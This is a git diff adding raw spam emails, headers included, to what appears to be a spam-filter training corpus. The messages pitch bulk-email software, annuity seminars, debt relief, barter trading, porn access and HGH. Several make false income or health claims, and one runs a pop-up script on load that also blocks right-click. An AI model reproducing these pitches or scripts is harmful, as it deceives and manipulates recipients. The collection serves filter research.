=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Esuite of bulk email software +programs=2E Its purpose is to organize your email lists in order to be +more =3B=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Eeffective with your email marketing +campaign=2E Some of its features include=3A=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial=3E=3CFONT size=3D3=3E‿=3BCombine several lists into +one file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BSplit up larger lists to make them more +manageable=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BRemove addresses from file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT +size=3D3=3E‿=3BManual editing=2C adding=2C and deleting of addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT +size=3D3=3E‿=3BAbility to auto clean lists=2C that is=2C remove any duplicate or unwanted +addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BMaintain all your address lists within the +program so you no =3B longer need to keep all your=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E +=3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3E =3Blists saved as separate text +files=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemm=5Fset=2Ezip=22=3E=3CFONT +color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E =3B=3C=2FP=3E +=3CDIV=3E=3CFONT face=3DArial=3Eif you want to remove your email=2C please send email to =3CA +href=3D=22mailto=3Atargetemailremoval=40btamail=2Enet=2Ecn=22=3Etargetemailremoval=40btamail=2Enet=2Ecn=3C=2FA=3E=3C=2FFONT=3E +=3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E =3B=3C=2FDIV=3E=3C=2FFONT=3E=3C=2FDIV=3E=3C=2FFONT=3E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FDIV=3E + + + diff --git a/bayes/spamham/spam_2/00783.a1d194b912e784ca6c4068b14791180f b/bayes/spamham/spam_2/00783.a1d194b912e784ca6c4068b14791180f new file mode 100644 index 0000000..b821321 --- /dev/null +++ b/bayes/spamham/spam_2/00783.a1d194b912e784ca6c4068b14791180f @@ -0,0 +1,88 @@ +From pitster267540871@hotmail.com Fri Jul 19 23:17:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3650D440C8 + for ; Fri, 19 Jul 2002 18:17:51 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 23:17:51 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JMH1J09059 for + ; Fri, 19 Jul 2002 23:17:01 +0100 +Received: from public.anshan.cngb.com ([210.12.34.3]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6JMGwp02165 for + ; Fri, 19 Jul 2002 23:16:59 +0100 +Received: from 64.118.128.67 (dedport-128-67.idealapps.com [64.118.128.67] + (may be forged)) by public.anshan.cngb.com (8.9.3/8.9.3) with SMTP id + GAA26181; Sat, 20 Jul 2002 06:02:10 +0800 (CST) +Message-Id: <200207192202.GAA26181@public.anshan.cngb.com> +From: "NELL" +To: yyyy8675309@msn.com, yyyy89@anacleto.bpo.hp.com, yyyy@alpha.net, + jm@astro.livjm.ac.uk, jm@mak.com, jm@mtl.pl, jm@netnoteinc.com, + jm@onslowonline.net, jm@pathway.com, jm@protech.com, + jm@sdevba.zynet.co.uk +Cc: yyyy@telstra.net, yyyy@ultimanet.com, yyyy@usa.com, yyyy@verinet.com, + jm@w-link.net, jm@x4u.com, jm_56@hotmail.com, jm_61@bmi.net, + jm_69@msn.com, jm_78@hotmail.com +Date: Fri, 19 Jul 2002 17:11:00 -0400 +Subject: Best $50 I ever spent! +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + +Dear Computer User jm8675309 , + + + +

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    + + + + + diff --git a/bayes/spamham/spam_2/00784.daac746f35f3bc27817777fa48673781 b/bayes/spamham/spam_2/00784.daac746f35f3bc27817777fa48673781 new file mode 100644 index 0000000..d6182f7 --- /dev/null +++ b/bayes/spamham/spam_2/00784.daac746f35f3bc27817777fa48673781 @@ -0,0 +1,307 @@ +From insurmark@insurancemail.net Fri Jul 19 23:44:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DEC8C440C8 + for ; Fri, 19 Jul 2002 18:44:33 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 23:44:33 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6JMhJJ10924 for ; Fri, 19 Jul 2002 23:43:20 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Fri, 19 Jul 2002 18:43:50 -0400 +Subject: You're Invited! +To: +Date: Fri, 19 Jul 2002 18:43:50 -0400 +From: "IQ - InsurMark" +Message-Id: +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcIvYMICqhsPt8AWS7enxIXSX5wxGg== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 19 Jul 2002 22:43:50.0687 (UTC) FILETIME=[C07CAAF0:01C22F75] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_86B25_01C22F3F.3AF11B40" + +This is a multi-part message in MIME format. + +------=_NextPart_000_86B25_01C22F3F.3AF11B40 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + You're Invited! + Learn About Our... + + + FREE Annuity Client Seminar System +Call us to reserve your space today! + + 800-752-0207 + +This is not just another seminar system. +Ours works and it's FREE! + + A group of InsurMark's top financial planners have been dramatically +growing + their incomes using our system. In fact, our agents earn 20 times the +national + average! Plus, InsurMark is sharing in part or all of the seminar +expenses. If you + are currently selling using another seminar system -stop now- and call +us! + Our formula for success will increase your income within 60 days! + +FORMULA FOR SUCCESS + +? Avg of 250 RSVP's per seminar ? Avg Annuity Sale = $100,000 +? 60% Avg Buying Units = 150 ? Avg Agent Commission @ 6% = $6,000 + +? 33% New Client Appointments = 50 ? Avg Seminar Commission = +180,000 + +Net Profit from seminar is $175,000! +If you host only 6 seminars... +You have increased your income by over +1 Million Dollars! + + +Want to learn more about the "Successful Annuity Client Seminar System?" +Hurry! Seating is limited to only 100 advisors! + + + +Please fill out the form below for more information +Name: +E-mail: +Phone: +City: State: + + + + + +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_86B25_01C22F3F.3AF11B40 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +You're Invited! + + + +=20 + + =20 + + + =20 + + +
    + 3D"You're
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    + 3D"800-752-0207" +
    =20 +


    + This is not just another seminar = +system.
    + Ours works and it's FREE!

    +

     A group of InsurMark's top financial planners have = +been dramatically growing
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    +  average! Plus, InsurMark is sharing in part or all = +of the seminar expenses. If you
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    +  Our formula for success will increase your income = +within 60 days!

    +

    FORMULA FOR SUCCESS

    + + =20 + + + + =20 + + + + =20 + + + +
    • Avg of = +250 RSVP's per seminar• Avg = +Annuity Sale =3D $100,000
    • 60% = +Avg Buying Units =3D 150• Avg = +Agent Commission @ 6% =3D $6,000
    • 33% = +New Client Appointments =3D 50• Avg = +Seminar Commission =3D 180,000
    +

    + Net Profit from seminar is $175,000!
    + If you host only 6 seminars...
    + You have increased your income by over
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    +

    +

    Want=20 + to learn more about the "Successful Annuity Client = +Seminar System?"
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    Please fill = +out the form below for more information
    Name:=20 + +
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     =20 + +  =20 + + +
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      +
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    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

    +
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    + Legal Notice=20 +
    +    =20 + + + +------=_NextPart_000_86B25_01C22F3F.3AF11B40-- + + diff --git a/bayes/spamham/spam_2/00785.262ba178488e58bbea695befb45b05e2 b/bayes/spamham/spam_2/00785.262ba178488e58bbea695befb45b05e2 new file mode 100644 index 0000000..81036db --- /dev/null +++ b/bayes/spamham/spam_2/00785.262ba178488e58bbea695befb45b05e2 @@ -0,0 +1,48 @@ +Received: from axses.net (axses.net [216.55.6.58]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6ONvPe02758 + for ; Wed, 24 Jul 2002 18:57:25 -0500 +Received: from exhrlsvr.gemsbarbados.com ([200.50.66.132]) + by axses.net (8.9.3/8.9.3) with ESMTP id QAA74872; + Wed, 24 Jul 2002 16:55:46 -0700 (PDT) +Received: from yahoo.com (userb008.dsl.pipex.com [62.188.49.8]) by exhrlsvr.gemsbarbados.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) + id PDYHXNSM; Fri, 19 Jul 2002 07:11:23 -0400 +Message-ID: <0000143161c9$00000f3e$00007921@yahoo.com> +To: +From: "Jason" +Subject: Debt Consolidation +Date: Fri, 19 Jul 2002 06:01:33 -1700 +MIME-Version: 1.0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit +X-POSTMASTER: X +X-Status: +X-Keywords: + +Tired of Mounting Credit Card Debt? +Frustrated by Creditor Harrassment? +Bogged down by Medical Expenses? +Just Plain Tired of the Financial Insanity? + +By filling out the simple form below you can, + +Reduce your debts by up to 60%! +Reduce or Eliminate Interest! +Preserve or Rebuild your Credit +Stop the Harrassing Phone Calls! + +Follow the link below to fill out the short and easy form today!! + + +http://61.129.68.19/user0205/index.asp?Afft=DP09 + + +It's a free quote and only take a couple of seconds!! + +Please know that we do not want to send you information regarding our special offers if you do not wish to receive it. +If you would no longer like us to contact you or feel that you have received this email in error, please follow the link below +to unsubscribe. + + +http://61.129.68.19/light/watch.asp + diff --git a/bayes/spamham/spam_2/00786.9b3de440d6969c3b911fc3ece3e155d2 b/bayes/spamham/spam_2/00786.9b3de440d6969c3b911fc3ece3e155d2 new file mode 100644 index 0000000..d3a2dfd --- /dev/null +++ b/bayes/spamham/spam_2/00786.9b3de440d6969c3b911fc3ece3e155d2 @@ -0,0 +1,248 @@ +Received: from aurora.pres.gob.pe (mail.ctarpuno.pres.gob.pe [200.37.31.29]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6JAtkH28728 + for ; Fri, 19 Jul 2002 05:55:47 -0500 +Received: (from root@localhost) + by aurora.pres.gob.pe (8.11.6/linuxconf) id g6JAug924602; + Fri, 19 Jul 2002 05:56:43 -0500 +Received: from mta.onebox.com ([67.105.130.194]) + by aurora.pres.gob.pe (8.11.6/linuxconf) with ESMTP id g6JAtUe20344; + Fri, 19 Jul 2002 05:55:36 -0500 +Message-ID: <00007e1e3de6$00007cdd$00007979@mta.onebox.com> +To: +From: "Software Experts" +Subject: 21st Century Web Specialists JRGBM +Date: Fri, 19 Jul 2002 04:02:38 -1900 +MIME-Version: 1.0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +X-Status: +X-Keywords: + + + + +IT Specialists + + +
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    úäåóø òåáìøîùå äåîøçé!!!
    + + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/spam_2/00790.365798c56fbfc98b2c8e4cbce0417999 b/bayes/spamham/spam_2/00790.365798c56fbfc98b2c8e4cbce0417999 new file mode 100644 index 0000000..66cff7b --- /dev/null +++ b/bayes/spamham/spam_2/00790.365798c56fbfc98b2c8e4cbce0417999 @@ -0,0 +1,62 @@ +From social-admin@linux.ie Sat Jul 20 03:08:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 64CB9440C8 + for ; Fri, 19 Jul 2002 22:08:07 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sat, 20 Jul 2002 03:08:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6K27TJ00951 for + ; Sat, 20 Jul 2002 03:07:29 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id DAA12080; Sat, 20 Jul 2002 03:06:30 +0100 +Received: from ziplip.com ([12.30.255.5]) by lugh.tuatha.org (8.9.3/8.9.3) + with SMTP id DAA12031; Sat, 20 Jul 2002 03:06:19 +0100 +From: freesixpence1883@yahoo.com +X-Authentication-Warning: lugh.tuatha.org: Host [12.30.255.5] claimed to + be ziplip.com +Date: Fri, 19 Jul 2002 22:30:47 -0500 +X-Mailer: X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 +To: social@linux.ie +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7BIT +Reply-To: barterinfo@btamail.net.cn +Message-Id: +Cc: airlied@linux.ie, cork@linux.ie, social@linux.ie +Subject: [ILUG-Social] We want to trade with you +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Why Spend Your Hard Earned Cash? + +Barter YOUR business product or service, personal item, collectible, excess inventory, hotel rooms, etc. for items and services YOU NEED.......SAVE YOUR CASH!!!!! + + +Vacations, cell phones, collectibles, travel, sports tickets, Radio, Television and Newspaper Advertising, concert tickets, Printing Services, Graphic Design, Bulk Mail Services, Restaurants, Meeting Facilities, Business Maintenance, Attorney and Accounting Services, Marketing, Consultants, Web Site Design, Travel, Medical Services, Hotel Furniture and much, much more! + + +We are a global marketplace, where you can list your products or services on the website and earn trade dollars when they sell. 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+ boundary="----=_NextPart_000_00D0_65B52D1A.C4816C13" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +Importance: Normal +Sender: owner-cypherpunks@minder.net +Precedence: bulk + +------=_NextPart_000_00D0_65B52D1A.C4816C13 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: base64 + + +DQo8Ym9keSBiZ2NvbG9yPSIjRkZGRkZGIiB0ZXh0PSIjQ0MzMzMzIj4NCjxw +Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxi +Pjxmb250IHNpemU9IjMiPkhpOiA8YnI+DQogIDwvZm9udD48L2I+PC9mb250 +PjwvcD4NCjxwPjxiPjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNh +bnMtc2VyaWYiIHNpemU9IjMiIGNvbG9yPSIjMDAwMDAwIj5IYXZlIA0KICB5 +b3UgYmVlbiBwYXlpbmcgdG9vIG11Y2ggZm9yIHlvdXIgaG9tZSBvcjxicj4N +CiAgYnVzaW5lc3MgbG9uZyBkaXN0YW5jZT88L2ZvbnQ+PC9iPjwvcD4NCjxw +Pjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIGNv +bG9yPSIjMDAwMDAwIj48Yj48Zm9udCBzaXplPSIzIj5IYXZlIA0KICB5b3Ug +YmVlbiBsb29raW5nIGZvciBhbiBhZmZvcmRhYmxlIGJ1dCBob25lc3Q8YnI+ +DQogIGxvbmcgZGlzdGFuY2UgYWx0ZXJuYXRpdmU/PC9mb250PjwvYj48L2Zv +bnQ+PC9wPg0KPHA+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fu +cy1zZXJpZiI+PGI+PGZvbnQgc2l6ZT0iMyI+V2UgYXJlIG9mZmVyaW5nIA0K +ICBGaWJlciBvcHRpYyBMb25nIGRpc3RhbmNlIGZvcjxicj4NCiAgYXMgbG93 +IGFzICQ5Ljk1IHBlciBtb250aCE8L2ZvbnQ+PC9iPjwvZm9udD48L3A+DQo8 +cD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48 +Yj48Zm9udCBzaXplPSIzIj48YSBocmVmPSJtYWlsdG86cGhvbmVvZmZlcjAw +MUBuZXRzY2FwZS5jb20/c3ViamVjdD1QaG9uZW9mZmVyIj5FbWFpbDwvYT4g +DQogIHVzIHdpdGggeW91ciBwaG9uZSBudW1iZXIgYW5kIHdlJ2xsIGNhbGwg +eW91PGJyPg0KICBiYWNrIHNvIHlvdSBjYW4gaGVhciBob3cgZ3JlYXQgdGhl +IGNvbm5lY3Rpb24gaXMuPGJyPg0KICA8YnI+DQogIFNpeCBwbGFucyB0byBj +aG9vc2UgZnJvbSBpbmNsdWRpbmcgYSB0cmF2ZWwgcGxhbi4gPGJyPg0KICA8 +YnI+DQogIDxmb250IGNvbG9yPSIjMDAwMDAwIj5UaGVyZSBhcmUgbm8gY3Jl +ZGl0IGNoZWNrcyBhbmQgYmVjYXVzZSB5b3UgZG9uJ3QgPGJyPg0KICBuZWVk +IHRvIGNoYW5nZSB5b3VyIGxvbmcgZGlzdGFuY2UgY2FycmllciwgeW91ciA8 +YnI+DQogIHNlcnZpY2UgY2FuIGJlIHR1cm5lZCBvbiBpbiBqdXN0IGEgZmV3 +IGhvdXJzLiA8YnI+DQogIDwvZm9udD48YnI+DQogIERpc3RyaWJ1dG9ycyBu +ZWVkZWQhIDxicj4NCiAgPGJyPg0KICA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+ +V2UgaGF2ZSBkaXN0cmlidXRvcnMgbm93IG1ha2luZyBhIGZldyBodW5kcmVk +IHRvIDxicj4NCiAgbWFueSB0aG91c2FuZHMgb2YgZG9sbGFycyBwZXIgbW9u +dGggZnJvbSB0aGUgY29tZm9ydCA8YnI+DQogIG9mIHRoZWlyIGhvbWVzLiA8 +L2ZvbnQ+PGJyPg0KICA8YnI+DQogIE9idGFpbiA8YSBocmVmPSJtYWlsdG86 +cGhvbmVvZmZlcjAwMUBuZXRzY2FwZS5uZXQ/c3ViamVjdD1QaG9uZW9mZmVy +Ij5jb21wbGV0ZSANCiAgZGV0YWlsczwvYT4gSW5jbHVkZSB5b3VyIHBob25l +IG51bWJlci0gd2UnbGw8YnI+DQogIGNhbGwgeW91IGJhY2sgdG8gY29uZmly +bSBvdXIgY3Jpc3AgY2xlYXIgY29ubmVjdGlvbi48YnI+DQogIDxicj4NCiAg +VG8gYmUgcmVtb3ZlZDogPGEgaHJlZj0ibWFpbHRvOm5vdHRvZGF5QG5ldHNj +YXBlLm5ldCI+Y2xpY2sgaGVyZTwvYT48L2ZvbnQ+PC9iPjwvZm9udD48L3A+ +DQoNCjA2NzNNRW5vMC0yODVVbGF0NzkyMHV6THY5LTMyOE5UVlY1NzE3YnlH +VjEtMzg4bDQ0 +------=_NextPart_000_00D0_65B52D1A.C4816C13-- + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00807.8abdd26ba778758f5e46b84a54ac62f4 b/bayes/spamham/spam_2/00807.8abdd26ba778758f5e46b84a54ac62f4 new file mode 100644 index 0000000..7355d5d --- /dev/null +++ b/bayes/spamham/spam_2/00807.8abdd26ba778758f5e46b84a54ac62f4 @@ -0,0 +1,88 @@ +From isrealsteedley@netscape.net Mon Jul 22 18:07:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 19EA5440C9 + for ; Mon, 22 Jul 2002 13:07:07 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:07:07 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1jY16808 for + ; Mon, 22 Jul 2002 17:01:45 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + webnote.net (8.9.3/8.9.3) with ESMTP id EAA25659 for ; + Sun, 21 Jul 2002 04:05:49 +0100 +From: isrealsteedley@netscape.net +Received: from imo-r01.mx.aol.com (imo-r01.mx.aol.com [152.163.225.97]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6L35mp03999 for + ; Sun, 21 Jul 2002 04:05:48 +0100 +Received: from isrealsteedley@netscape.net by imo-r01.mx.aol.com + (mail_out_v32.21.) id i.1b1.fad7c3 (16213) for ; + Sat, 20 Jul 2002 23:05:36 -0400 (EDT) +Received: from netscape.net (mow-m15.webmail.aol.com [64.12.180.131]) by + air-in01.mx.aol.com (v86_r1.16) with ESMTP id MAILININ11-0720230536; + Sat, 20 Jul 2002 23:05:36 -0400 +Date: Sat, 20 Jul 2002 23:01:58 -0400 +To: htcs@ai.com +Subject: Could be your last chance for savings +Message-Id: <607F7585.343DF18B.F645E7F3@netscape.net> +X-Mailer: Atlas Mailer 2.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit + +Opportunity is knocking. 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    + + + + + diff --git a/bayes/spamham/spam_2/00809.b657c1ead5a2b2307e3a887b19b9ce91 b/bayes/spamham/spam_2/00809.b657c1ead5a2b2307e3a887b19b9ce91 new file mode 100644 index 0000000..0da9fc5 --- /dev/null +++ b/bayes/spamham/spam_2/00809.b657c1ead5a2b2307e3a887b19b9ce91 @@ -0,0 +1,36 @@ +Received: from localhost.localdomain ([4.21.157.32]) + by linux.midrange.com (8.11.6/8.11.6) with SMTP id g6L6W9415993 + for ; Sun, 21 Jul 2002 01:32:09 -0500 +To: midrjobs-l@midrange.com +Date: Sun, 21 Jul 2002 00:30:26 -0500 +Message-ID: <1027225826.1122@localhost.localdomain> +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +From: winnereritmugu@fasterpopmail.com +Reply-To: +Subject: YOU WON A FREE PORN PASSWORD!! +X-Status: +X-Keywords: + + midrjobs-l@midrange.com + +YOU WON A FREE PORN PASSWORD!! + + +FREE PORN ACCESS ALL THE PORN YOU CAN HANDLE!! + +DO ME NOW I WANT YOU TO CUM!!! + + http://www.tnt-hosting.com/zz + + + + +to opt out click reply you will be removed instantly + + +zvqewbof-y^zvqenatr(pbz + + + + + diff --git a/bayes/spamham/spam_2/00810.bceaa748f9cee012c466212d8a608acf b/bayes/spamham/spam_2/00810.bceaa748f9cee012c466212d8a608acf new file mode 100644 index 0000000..04e9d29 --- /dev/null +++ b/bayes/spamham/spam_2/00810.bceaa748f9cee012c466212d8a608acf @@ -0,0 +1,174 @@ +From money@viplook.net Mon Jul 22 18:09:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C0A74440C9 + for ; Mon, 22 Jul 2002 13:09:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:09:46 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1cY16745 for + ; Mon, 22 Jul 2002 17:01:38 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + webnote.net (8.9.3/8.9.3) with ESMTP id GAA26214 for ; + Sun, 21 Jul 2002 06:39:18 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6L5dGp07077 for + ; Sun, 21 Jul 2002 06:39:17 +0100 +Received: from chat.ru (adsl-172-238.barak.net.il [62.90.172.238]) by + webnote.net (8.9.3/8.9.3) with SMTP id GAA26210 for ; + Sun, 21 Jul 2002 06:39:14 +0100 +Message-Id: <200207210539.GAA26210@webnote.net> +From: Dany +Subject: make $2550 extra this month +Reply-To: money@viplook.net +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 4.72.3110.5 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1251" +Date: Sun, 21 Jul 2002 08:39:15 +0200 +To: undisclosed-recipients:; + +Hello +I was just emailed today from the owners of +a BRAND NEW program just released TWO WEEKS +ago. + +Check it out the income people are raking +in while it's still early.... + +Timothy L. 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charset=UTF-8 +Content-Transfer-Encoding: Quoted-printable + +=3Chtml=3E=3Cbody +onload=3D=22window=2Eopen=28'http=3A=2F=2F202=2E101=2E163=2E34=3A81= +=2Fultimatehgh=5F +run=2F'=29=22 bgColor=3D=22#CCCCCC=22 topmargin=3D1 +onMouseOver=3D=22window=2Estatus=3D''=3B return true=22 +oncontextmenu=3D=22return false=22 ondragstart=3D=22return false=22 +onselectstart=3D=22return false=22=3E +=3Cdiv align=3D=22center=22=3EHello=2C =5B!To!=5D=3CBR=3E=3CBR=3E=3C=2Fdiv= +=3E=3Cdiv +align=3D=22center=22=3E=3C=2Fdiv=3E=3Cp align=3D=22center=22=3E=3Cb=3E= +=3Cfont +face=3D=22Arial=22 size=3D=224=22=3EHuman Growth Hormone +Therapy=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fp=3E +=3Cp align=3D=22center=22=3E=3Cb=3E=3Cfont face=3D=22Arial=22 size=3D=224= +=22=3ELose +weight while building lean muscle mass=3Cbr=3Eand reversing +the ravages of aging all at once=2E=3C=2Ffont=3E=3Cfont face=3D=22Arial=22= + +size=3D=223=22=3E=3Cbr=3E +=3C=2Ffont=3E=3C=2Fb=3E=3Cfont face=3D=22Arial=22 size=3D=223=22=3E =3Cbr= +=3ERemarkable +discoveries about Human Growth Hormones =28=3Cb=3EHGH=3C=2Fb=3E=29 +=3Cbr=3Eare changing the way we think about aging and weight +loss=2E=3C=2Ffont=3E=3C=2Fp=3E +=3Ccenter=3E=3Ctable width=3D=22481=22=3E=3Ctr=3E=3Ctd height=3D=222=22 +width=3D=22247=22=3E=3Cp align=3D=22left=22=3E=3Cb=3E=3Cfont face=3D= +=22Arial=2C +Helvetica=2C sans-serif=22 size=3D=223=22=3ELose Weight=3Cbr=3EBuild +Muscle Tone=3Cbr=3EReverse Aging=3Cbr=3E +Increased Libido=3Cbr=3EDuration Of Penile +Erection=3Cbr=3E=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fp=3E=3C=2Ftd=3E=3Ctd height= +=3D=222=22 +width=3D=22222=22=3E=3Cp align=3D=22left=22=3E=3Cb=3E=3Cfont face=3D= +=22Arial=2C +Helvetica=2C sans-serif=22 size=3D=223=22=3EHealthier Bones=3Cbr=3E +Improved Memory=3Cbr=3EImproved skin=3Cbr=3ENew Hair +Growth=3Cbr=3EWrinkle Disappearance +=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fp=3E=3C=2Ftd=3E=3C=2Ftable=3E=3C=2Fcenter=3E +=3Cp align=3D=22center=22=3E=3Ca +href=3D=22http=3A=2F=2F202=2E101=2E163=2E34=3A81=2Fultimatehgh=5Frun=2F=22= +=3E=3Cfont +face=3D=22Arial=22 size=3D=224=22=3E=3Cb=3EVisit + Our Web Site and Learn The Facts =3A Click +Here=3C=2Fb=3E=3C=2Ffont=3E=3C=2Fa=3E=3Cbr=3E + =3Cbr=3E + =3Ca href=3D=22http=3A=2F=2F64=2E123=2E160=2E91=3A81=2Fultimatehgh=5Frun= +=2F=22=3E=3Cfont +size=3D=224=22=3E=3Cb=3EOR + Here=3C=2Fb=3E=3C=2Ffont=3E=3C=2Fa=3E=3C=2Fp=3E +=3Cdiv align=3D=22center=22=3E=3Cbr=3E + You are receiving this email as a subscr=3C!----=3Eiber=3Cbr=3E + to the Opt=3C!----=3E-In Ameri=3C!----=3Eca Mailin=3C!----=3Eg 